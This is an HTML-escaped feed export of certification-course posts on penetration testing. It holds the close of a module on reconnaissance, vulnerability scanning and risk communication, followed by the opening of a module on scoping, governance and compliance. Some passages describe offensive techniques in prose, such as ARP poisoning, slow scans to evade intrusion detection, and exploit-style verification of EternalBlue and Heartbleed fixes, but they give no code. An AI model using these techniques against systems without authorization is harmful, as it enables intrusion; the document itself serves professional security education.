&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Communicating Vulnerability Risk to Non-Technical Stakeholders
&lt;/h3&gt;

&lt;p&gt;One of the most practically important skills in professional cybersecurity — and one that is rarely taught directly — is translating technical vulnerability findings into business language that executive and management audiences can understand and act on.&lt;/p&gt;

&lt;p&gt;A CISO or CEO does not need to understand what &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&lt;/code&gt; means. They need to understand the business answer to three questions: What is at risk? What happens if we do not fix this? What does fixing it require?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technical finding:&lt;/strong&gt; CVE-2021-44228 (Log4Shell) detected on the public-facing customer portal. CVSS 10.0. CISA KEV listed. EPSS 0.97. Metasploit module available with Excellent reliability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Executive translation:&lt;/strong&gt; "We discovered a critical vulnerability in the software running our customer portal. This vulnerability requires no password or login — any person with internet access can use it to gain complete control of the server. It is actively being used in attacks against organizations worldwide right now. The fix is a software update that our team can deploy within 24 hours. The risk of not patching immediately is complete compromise of the customer portal server, potentially including customer data exposure and ransomware deployment."&lt;/p&gt;

&lt;p&gt;This translation requires the technical professional to understand not just the vulnerability itself but the business context: what data is on the affected server, what operations depend on it, what regulatory consequences would follow a breach, and what the remediation process actually involves in operational terms.&lt;/p&gt;

&lt;h3&gt;
  
  
  Verification and Retesting — Closing the Loop
&lt;/h3&gt;

&lt;p&gt;After remediation is implemented, the vulnerability lifecycle is not complete until the fix has been verified. Verification involves:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rescanning with the same tools&lt;/strong&gt; that originally detected the finding. If the scan now comes back clean, the automated check confirms the remediation was applied. This is necessary but not sufficient — scanner checks are not infallible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Manual verification&lt;/strong&gt; confirms the vulnerability can no longer be exploited using the same technique that would have been used to exploit it. For an EternalBlue finding, this means sending the specific SMB negotiation sequence that triggers the vulnerability and confirming the response indicates a patched system. For a Heartbleed finding, this means sending the malformed heartbeat and confirming the server does not return excess data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Evidence documentation&lt;/strong&gt; for compliance purposes records what the vulnerability was, when it was discovered, what remediation was implemented, when it was implemented, and how verification was performed. This audit trail is required for PCI DSS, HIPAA, SOC 2, and most other compliance frameworks.&lt;/p&gt;

&lt;p&gt;In a penetration testing engagement context, this becomes the retest — a follow-up engagement specifically to verify that the highest-priority findings have been effectively remediated. A retest finding that confirms a critical vulnerability was patched correctly is valuable positive evidence. A retest finding that the critical vulnerability was supposedly patched but is still exploitable is one of the most important findings a penetration test can produce.&lt;/p&gt;




&lt;h2&gt;
  
  
  3.5 Module 3 Summary — What You Have Learned and Why It Matters
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.5.1 What You Learned in Module 3
&lt;/h3&gt;

&lt;p&gt;Module 3 — Information Gathering and Vulnerability Scanning — built the complete intelligence-gathering and vulnerability discovery capability that forms the technical foundation of every penetration testing engagement and vulnerability assessment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 3.1 — Performing Passive Reconnaissance:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned that the reconnaissance phase can be divided into two fundamentally different approaches based on whether they interact with the target's systems. Passive reconnaissance collects information from public and third-party sources without generating any traffic to the target, making it legally safe before authorization is in place and undetectable by any security monitoring the target has deployed.&lt;/p&gt;

&lt;p&gt;You learned the OSINT methodology — that professional intelligence gathering follows the intelligence cycle (planning, collection, processing, analysis, dissemination, and feedback) and that the pivot model transforms every discovered data point into additional intelligence. Starting with only an organization name, a skilled analyst can map the complete external attack surface without touching a single target system.&lt;/p&gt;

&lt;p&gt;You learned to extract intelligence from DNS records at a depth that most practitioners miss. A single DNS zone can reveal the email provider, cloud infrastructure, subdomain inventory, administrator email addresses, third-party service integrations, email security posture (through DMARC policy), and CA authorization policies — all before the first probe reaches a target system.&lt;/p&gt;

&lt;p&gt;You learned the OSINT tool ecosystem: OSINT Framework as the structured methodology map, recon-ng as the professional modular reconnaissance platform, SpiderFoot as the automated multi-source intelligence aggregator, Shodan as the Internet-connected device search engine, and the complete breach intelligence stack from HaveIBeenPwned through specialized tools like WhatBreach, PwnDB, and Buster.&lt;/p&gt;

&lt;p&gt;You learned that SSL certificates are intelligence sources — that the Subject Alternative Names in a certificate can reveal an organization's entire subdomain inventory, and that Certificate Transparency logs provide historical certificate data revealing infrastructure evolution over years.&lt;/p&gt;

&lt;p&gt;You learned social media intelligence gathering at a professional level — that LinkedIn job listings may be the single richest source of technology stack intelligence, that employee profiles reveal specific versions of technologies in use, and that this intelligence enables precisely targeted technical attacks and highly credible social engineering campaigns.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 3.2 — Performing Active Reconnaissance:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned that active reconnaissance begins the moment packets are sent to a target system — that every active technique generates log entries, potentially triggers alerts, and requires explicit authorization before beginning.&lt;/p&gt;

&lt;p&gt;You learned Nmap not as a tool but as a protocol manipulation framework. You understood each scan type from first principles: why a SYN scan is "half-open," why FIN/NULL/Xmas scans do not work against Windows, what the ACK scan actually measures (firewall rules, not port states), and why the UDP scan is simultaneously the most important and most technically challenging scan type.&lt;/p&gt;

&lt;p&gt;You learned that timing options are not just about speed — they are a stealth/speed trade-off with direct implications for detection avoidance, and that -T0 (one probe every five minutes) completely evades time-based IDS correlation while making a full scan take days.&lt;/p&gt;

&lt;p&gt;You learned enumeration as the discipline of extracting service-specific intelligence from discovered open ports: SNMP enumeration as a potential single-query network topology disclosure, SMB enumeration revealing user accounts and password policy, LDAP enumeration mapping Active Directory structure, and web service enumeration establishing the foundation for application-layer testing.&lt;/p&gt;

&lt;p&gt;You learned Scapy as the framework for understanding network protocols at the byte level and constructing custom packets for situations where standard tools cannot provide the precise interaction needed. You understood that Scapy's power comes from removing the abstraction layers between the operator and the network protocol itself.&lt;/p&gt;

&lt;p&gt;You learned network eavesdropping — that ARP poisoning enables traffic interception on switched networks by poisoning the Layer 2 address resolution tables of communicating hosts, that unencrypted protocols including HTTP, FTP, Telnet, and SNMPv1/v2 pass credentials in plaintext visible to any positioned observer, and that Wireshark's display filter language enables precise extraction of relevant packets from millions of captured frames.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 3.3 — Understanding the Art of Performing Vulnerability Scans:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned the fundamental distinction between vulnerability scanning (automated, broad, reports known weaknesses) and penetration testing (manual, targeted, proves real-world exploitability and business impact). This distinction is not academic — it determines what clients should expect from each type of engagement and what questions each answers.&lt;/p&gt;

&lt;p&gt;You learned how vulnerability scanners work mechanically: discovery and asset inventory, fingerprinting and version detection, vulnerability checks via plugins and NVTs, and scoring and reporting using CVSS. Understanding this architecture enables intelligent tool use — knowing why authenticated scans produce better results, why version-matching leads to false positives, and why keeping plugin databases current is not optional.&lt;/p&gt;

&lt;p&gt;You learned the CVE and CVSS systems as a professional language. You can now read a CVSS vector string and understand exactly what it communicates: &lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H&lt;/code&gt; is the full severity picture of Log4Shell, encoding not just the score but the attack vector, complexity, authentication requirements, scope impact, and CIA consequences.&lt;/p&gt;

&lt;p&gt;You learned the professional vulnerability scanning tool ecosystem: Nessus as the commercial standard, OpenVAS/GVM as the professional-grade free alternative, Nuclei as the modern template-based scanner excelling at web application and API vulnerability discovery, and Nikto as the fast web server configuration scanner.&lt;/p&gt;

&lt;p&gt;You learned the seven critical challenges of vulnerability scanning: false positives (the scanner cried wolf), false negatives (the scanner missed the elephant), production system impact, scope and coverage gaps, database currency requirements, and the authenticated versus unauthenticated trade-off. These challenges explain why scanner output requires human analysis and why penetration testing remains irreplaceable even for organizations with mature vulnerability scanning programs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;From Section 3.4 — How to Analyze Vulnerability Scan Results:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You learned the professional intelligence source ecosystem: NVD for authoritative CVSS analysis, MITRE CVE as the source of record, CWE for root cause classification, Exploit-DB for public exploit availability, Metasploit for penetration-testing-ready modules, CISA KEV for confirmed real-world exploitation evidence, and EPSS for machine-learning-based exploitation probability prediction.&lt;/p&gt;

&lt;p&gt;You learned that CVSS scores and EPSS scores answer different questions. CVSS asks "how bad is this vulnerability in the theoretical worst case?" EPSS asks "what is the probability this vulnerability will actually be exploited in the next 30 days?" Only about 2-5% of published CVEs are exploited in practice — prioritizing remediation based on CVSS alone means devoting resources to vulnerabilities that will likely never be exploited while potentially deprioritizing actively weaponized lower-scoring vulnerabilities.&lt;/p&gt;

&lt;p&gt;You learned the complete vulnerability investigation workflow: version verification, NVD lookup, vendor advisory consultation, CISA KEV check, EPSS assessment, Exploit-DB and Metasploit check, manual verification, and documentation. This workflow transforms scanner output from raw data into confirmed intelligence.&lt;/p&gt;

&lt;p&gt;You learned the four responses to a confirmed vulnerability — remediation, mitigation, risk acceptance, and risk transfer — and the professional standard for each. You learned that risk acceptance is not the same as ignoring a finding, that compensating controls require explicit documentation and accountability, and that the remediation verification loop (rescan + manual verification + documentation) is what closes the vulnerability lifecycle.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.5.2 How These Skills Connect to the Rest of Your Career
&lt;/h3&gt;

&lt;p&gt;The skills built in Module 3 are not just tools for passing a certification exam. They are the practical core of what security professionals do every day across multiple roles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As a penetration tester&lt;/strong&gt;, everything in Module 3 happens before you write a single exploit. Your success rate in the exploitation phase is a direct function of how thoroughly and accurately you completed the reconnaissance and scanning phases. The best penetration testers spend more time on recon than on exploitation — because thorough recon means precise, efficient, high-confidence exploitation rather than random probing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As a security analyst in a SOC or vulnerability management team&lt;/strong&gt;, you use these same intelligence sources daily. CISA KEV alerts drive emergency patching decisions. EPSS scores inform prioritization when the queue of scanner findings exceeds the remediation capacity. Vendor advisories determine the accurate remediation path. The analytical framework for distinguishing real findings from false positives is the foundation of an effective vulnerability management program.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As a red team operator&lt;/strong&gt;, passive reconnaissance capabilities determine how much intelligence you can gather without detection. The ability to identify technology stacks, subdomains, email infrastructure, and employee details from entirely public sources, before making any contact with the target, is one of the most valuable capabilities in advanced threat simulation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As a security engineer or architect&lt;/strong&gt;, understanding how vulnerabilities are discovered, categorized, and exploited informs defensive architecture decisions. Why network segmentation limits lateral movement. Why patching timelines need to be aligned with EPSS scores and KEV listings rather than quarterly maintenance cycles. Why authenticated scanning is worth the credential management overhead. These are decisions made better by people who understand the attacker perspective.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As a compliance professional or GRC analyst&lt;/strong&gt;, the vulnerability management framework — formal risk acceptance, compensating control documentation, remediation timelines tied to CVSS severity — maps directly to what PCI DSS, HIPAA, SOC 2, and ISO 27001 require. The analytical vocabulary (CVSS, EPSS, CVE, KEV) is the language that technical findings must be translated into for compliance documentation.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.5.3 Module 3 Key Terms Reference
&lt;/h3&gt;

&lt;p&gt;The following terms were covered in Module 3 and should be part of your professional vocabulary:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Active Reconnaissance&lt;/strong&gt; — The phase of information gathering that directly interacts with target systems, generating network traffic and potentially triggering security alerts. Requires authorization before beginning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ARP Poisoning&lt;/strong&gt; — A technique that sends fake ARP replies to corrupt the ARP caches of communicating hosts, positioning the attacker as a man-in-the-middle who can capture and forward traffic between them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Banner Grabbing&lt;/strong&gt; — The practice of connecting to a network service to read its identification string, which often reveals software type, version, and operating system information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CISA KEV (Known Exploited Vulnerabilities Catalog)&lt;/strong&gt; — The U.S. government's catalog of CVEs confirmed to be actively exploited in the wild. The strongest available remediation prioritization signal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Compensating Control&lt;/strong&gt; — A security control implemented to reduce the risk of a vulnerability when direct remediation is not immediately possible.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE (Common Vulnerabilities and Exposures)&lt;/strong&gt; — The global standard for identifying and naming specific security vulnerabilities. Format: CVE-[year]-[sequence].&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVSS (Common Vulnerability Scoring System)&lt;/strong&gt; — The framework for assigning standardized severity scores to vulnerabilities, using Base, Temporal, and Environmental score groups.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CWE (Common Weakness Enumeration)&lt;/strong&gt; — A classification system for the underlying code-level weakness types that cause vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS Zone Transfer (AXFR)&lt;/strong&gt; — A DNS mechanism that copies the complete zone file from a primary to a secondary DNS server. Misconfigured servers allow zone transfers to any requestor, potentially revealing the entire DNS namespace.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Enumeration&lt;/strong&gt; — The process of extracting detailed, service-specific information from discovered open ports, beyond the port state and version information provided by scanning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EPSS (Exploit Prediction Scoring System)&lt;/strong&gt; — A machine learning model that predicts the probability a CVE will be exploited within the next 30 days, providing a real-world exploitation likelihood signal distinct from CVSS severity scores.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;False Negative&lt;/strong&gt; — When a vulnerability scanner fails to detect a vulnerability that actually exists. More dangerous than false positives because it creates false confidence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;False Positive&lt;/strong&gt; — When a vulnerability scanner reports a vulnerability that does not actually exist or is not exploitable in the current environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Host Discovery&lt;/strong&gt; — The process of determining which IP addresses in a target range have live hosts, before proceeding to port scanning. Nmap's &lt;code&gt;-sn&lt;/code&gt; flag performs host discovery without port scanning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; — A knowledge base of adversary tactics, techniques, and procedures (TTPs) derived from real-world intrusion observations, used to understand what attackers do with vulnerabilities after exploitation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NVD (National Vulnerability Database)&lt;/strong&gt; — NIST's enrichment layer on the CVE system, providing CVSS scores, CWE classifications, CPE affected product data, and reference links for every CVE.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OSINT (Open-Source Intelligence)&lt;/strong&gt; — Intelligence gathered from publicly available sources without direct interaction with the target's systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Passive Reconnaissance&lt;/strong&gt; — Information gathering from public sources that generates zero traffic to the target, leaving no traces in target logs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pivoting&lt;/strong&gt; — The technique of using one piece of intelligence to discover additional intelligence, systematically expanding the picture of the target's attack surface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Port Scanning&lt;/strong&gt; — The process of probing a range of port numbers on one or more hosts to determine which ports are open, closed, or filtered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk Acceptance&lt;/strong&gt; — The formal organizational decision to acknowledge a vulnerability and accept the residual risk without remediation, with explicit documentation and executive authorization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shodan&lt;/strong&gt; — A search engine for internet-connected devices that indexes service banners from every accessible port on every IP address, enabling passive discovery of internet-facing systems by organization, technology, or vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SYN Scan (-sS)&lt;/strong&gt; — Nmap's default scan type when run with root privileges. Sends SYN packets and analyzes responses without completing the TCP three-way handshake, providing fast, reliable port state determination.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UDP Scan (-sU)&lt;/strong&gt; — Nmap's UDP scanning mode. Significantly slower than TCP scanning due to UDP's connectionless nature and OS rate limiting of ICMP Port Unreachable responses, but critical for discovering high-value services like SNMP, DNS, NTP, and TFTP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt; — A weakness in a system, application, or process that can be exploited to cause harm, defined formally as a weakness in computational logic that when exploited results in negative impact to confidentiality, integrity, or availability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Scanning&lt;/strong&gt; — Automated testing of systems against databases of known vulnerabilities to identify security weaknesses. Distinct from penetration testing: scanning identifies potential weaknesses, penetration testing confirms exploitability.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Note on Module 3 Completion
&lt;/h2&gt;

&lt;p&gt;Module 3 has built the complete intelligence and scanning foundation for professional penetration testing. You now understand how to map an organization's external attack surface from entirely public sources before touching a single system, how to systematically discover and enumerate every service on a target network, how to assess every discovered service against known vulnerability databases, and how to investigate, analyze, and communicate each finding with professional rigor.&lt;/p&gt;

&lt;p&gt;These capabilities chain directly into Module 4 (Exploitation) — where the intelligence gathered in Module 3 becomes the input for selecting, customizing, and executing attack techniques. Every successful exploit is preceded by successful reconnaissance. Every accurate exploitation attempt is informed by thorough scanning and analysis. The quality of what comes next is bounded by the quality of what was done in Module 3.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;═══════════════════════════════════════════════════════════&lt;/em&gt;&lt;br&gt;
&lt;em&gt;MODULE 3 — INFORMATION GATHERING AND VULNERABILITY SCANNING&lt;/em&gt;&lt;br&gt;
&lt;em&gt;COMPLETE&lt;/em&gt;&lt;br&gt;
&lt;em&gt;═══════════════════════════════════════════════════════════&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>informationgathering</category>
      <category>penetrationtesting</category>
      <category>vulnerabilityassessment</category>
    </item>
    <item>
      <title>Module 2: Planning and Scoping a Penetration Testing Assessment</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Wed, 29 Jul 2026 09:15:25 +0000</pubDate>
      <link>https://dev.to/rencberakman/module-2-planning-and-scoping-a-penetration-testing-assessment-269</link>
      <guid>https://dev.to/rencberakman/module-2-planning-and-scoping-a-penetration-testing-assessment-269</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;&lt;br&gt;
&lt;em&gt;Covers: Governance · Risk · Compliance · Scoping · Legal Frameworks · Ethical Mindset&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;2.0 Introduction&lt;/li&gt;
&lt;li&gt;
2.1 Comparing and Contrasting Governance, Risk, and Compliance Concepts

&lt;ul&gt;
&lt;li&gt;2.1.1 Overview — What is GRC?&lt;/li&gt;
&lt;li&gt;2.1.2 Regulatory Compliance Considerations&lt;/li&gt;
&lt;li&gt;2.1.3 Local Restrictions&lt;/li&gt;
&lt;li&gt;2.1.4 Legal Concepts in Penetration Testing&lt;/li&gt;
&lt;li&gt;2.1.5 Contracts and Agreements&lt;/li&gt;
&lt;li&gt;2.1.6 Disclaimers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
2.2 Explaining the Importance of Scoping and Organizational or Customer Requirements

&lt;ul&gt;
&lt;li&gt;2.2.1 Overview — Why Scoping Matters&lt;/li&gt;
&lt;li&gt;2.2.2 Rules of Engagement (ROE)&lt;/li&gt;
&lt;li&gt;2.2.3 Target List and In-Scope Assets&lt;/li&gt;
&lt;li&gt;2.2.4 Validating the Scope of Engagement&lt;/li&gt;
&lt;li&gt;2.2.5 Strategy — Unknown vs. Known Environment Testing&lt;/li&gt;
&lt;li&gt;2.2.6 Pre-Engagement Scope and Planning&lt;/li&gt;
&lt;li&gt;2.2.7 Creating a Penetration Testing Agreement&lt;/li&gt;
&lt;li&gt;2.2.8 Business Justification — ROI of Penetration Testing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
2.3 Demonstrating an Ethical Hacking Mindset by Maintaining Professionalism and Integrity

&lt;ul&gt;
&lt;li&gt;2.3.1 Overview — The Professional Ethical Hacker&lt;/li&gt;
&lt;li&gt;2.3.2 Ethical Frameworks and Decision-Making Models&lt;/li&gt;
&lt;li&gt;2.3.3 Personal Code of Conduct&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;2.4 Key Roles, Titles, and Organizational Structures in Cybersecurity&lt;/li&gt;
&lt;li&gt;2.5 Cloud Environments and Their Implications for Scoping&lt;/li&gt;
&lt;li&gt;2.6 Master Glossary — All Critical Terms for This Module&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2.0 Introduction
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why Planning and Scoping is the Foundation of Every Successful Penetration Test
&lt;/h3&gt;

&lt;p&gt;Penetration testing is not simply about finding vulnerabilities. It is a structured, legally governed, and professionally executed discipline. Before a single packet is sent, before a single tool is launched, a penetration tester must have a clear, written, legally binding agreement that defines exactly what can be tested, when, how, by whom, and from where.&lt;/p&gt;

&lt;p&gt;Failure at the planning and scoping stage is not just an administrative inconvenience — it can result in:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Criminal prosecution&lt;/strong&gt; of the tester or the testing firm&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Civil lawsuits&lt;/strong&gt; filed by the client against the tester for unintended disruption&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Loss of professional certification&lt;/strong&gt; and career-ending reputational damage&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Engagement of emergency response teams&lt;/strong&gt; by the client who believes they are under a real attack&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data breaches&lt;/strong&gt; caused by uncontrolled exploitation of production systems&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regulatory penalties&lt;/strong&gt; imposed on the client organization by compliance bodies&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The penetration test lifecycle, in professional practice, allocates significantly more time to planning, scoping, and documentation than to the actual technical exploitation phase. A senior penetration tester or red team lead will spend days or even weeks negotiating, drafting, and finalizing scope documents before touching any system.&lt;/p&gt;

&lt;p&gt;This module builds the foundational knowledge required to conduct all pre-engagement activities at a professional, industry-standard level.&lt;/p&gt;




&lt;h3&gt;
  
  
  The Fictional Engagement Context: Protego Security Solutions &amp;amp; Pixel Paradise
&lt;/h3&gt;

&lt;p&gt;Throughout this module, the learning scenario centers on &lt;strong&gt;Protego Security Solutions&lt;/strong&gt;, a fictional penetration testing firm, and their new client &lt;strong&gt;Pixel Paradise&lt;/strong&gt;. This scenario illustrates the real-world business relationship between a security consulting firm and a client organization. The concepts introduced through this scenario are directly applicable to every real-world engagement a professional penetration tester will conduct.&lt;/p&gt;




&lt;h2&gt;
  
  
  2.1 Comparing and Contrasting Governance, Risk, and Compliance Concepts
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1.1 Overview — What is GRC?
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;GRC&lt;/strong&gt; stands for &lt;strong&gt;Governance, Risk, and Compliance&lt;/strong&gt;. It is the integrated framework through which organizations manage their policies, identify and respond to risk, and ensure that they meet all applicable regulatory and legal requirements. Understanding GRC is not optional for a penetration tester — it is mandatory, because every engagement takes place within a GRC context.&lt;/p&gt;

&lt;h4&gt;
  
  
  Governance
&lt;/h4&gt;

&lt;p&gt;Governance refers to the system of rules, policies, procedures, and accountability structures that an organization uses to direct and control its operations. In cybersecurity, governance defines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Who is responsible&lt;/strong&gt; for security decisions (CISO, CIO, Board of Directors)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What policies exist&lt;/strong&gt; (Acceptable Use Policy, Data Classification Policy, Incident Response Policy)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How compliance is monitored and enforced&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;What the organization's risk appetite is&lt;/strong&gt; — i.e., how much risk it is willing to accept&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A penetration tester must understand governance because the scope and permissions for a test are ultimately authorized at the governance level. The CISO or CIO signs the authorization document. If the person who authorizes the test does not have the organizational authority to do so, the authorization is legally void.&lt;/p&gt;

&lt;h4&gt;
  
  
  Risk
&lt;/h4&gt;

&lt;p&gt;Risk in cybersecurity is formally defined as the potential for loss, damage, or destruction of an asset as a result of a threat exploiting a vulnerability. The fundamental risk equation is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Risk = Threat × Vulnerability × Impact
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key risk concepts a penetration tester must understand:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Term&lt;/th&gt;
&lt;th&gt;Definition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Threat&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Any potential cause of an unwanted incident that may harm a system or organization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A weakness in a system, process, or control that can be exploited&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Exploit&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The method or code used to take advantage of a vulnerability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Impact&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The magnitude of harm that would result from a successful attack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Likelihood&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The probability that a threat will successfully exploit a vulnerability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Risk Appetite&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The level of risk an organization is willing to accept in pursuit of its objectives&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Residual Risk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The risk that remains after controls have been applied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Risk Tolerance&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The acceptable variation in outcomes relative to the risk appetite&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Inherent Risk&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The risk that exists before any controls are applied&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Risk Management Frameworks&lt;/strong&gt; used in practice:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;NIST Risk Management Framework (RMF)&lt;/strong&gt; — SP 800-37: A structured, flexible process for integrating security and risk management activities into the system development life cycle&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ISO/IEC 27005&lt;/strong&gt; — Information security risk management standard&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FAIR (Factor Analysis of Information Risk)&lt;/strong&gt; — A quantitative model for understanding, analyzing, and measuring information risk in financial terms&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation)&lt;/strong&gt; — A risk-based strategic assessment and planning technique developed at Carnegie Mellon University&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Compliance
&lt;/h4&gt;

&lt;p&gt;Compliance is the act of conforming to a specification, policy, standard, or law. For cybersecurity, compliance typically refers to adhering to industry-specific regulations and standards that govern how data must be protected, how access is managed, and how breaches must be reported.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The critical distinction&lt;/strong&gt;: Compliance ≠ Security. An organization can be fully compliant with a standard yet still be highly vulnerable to attack. Penetration testing is one of the primary mechanisms used to demonstrate that compliance controls are actually effective in practice.&lt;/p&gt;




&lt;h3&gt;
  
  
  2.1.2 Regulatory Compliance Considerations
&lt;/h3&gt;

&lt;p&gt;This section examines the major regulatory frameworks and compliance standards that directly affect the scope, conduct, and documentation of penetration testing engagements.&lt;/p&gt;




&lt;h4&gt;
  
  
  PCI DSS — Payment Card Industry Data Security Standard
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Full Name:&lt;/strong&gt; Payment Card Industry Data Security Standard&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Governing Body:&lt;/strong&gt; PCI Security Standards Council (PCI SSC) — founded by American Express, Discover, JCB International, Mastercard, and Visa&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Applies to:&lt;/strong&gt; Any organization that stores, processes, or transmits cardholder data (credit/debit card data)&lt;br&gt;&lt;br&gt;
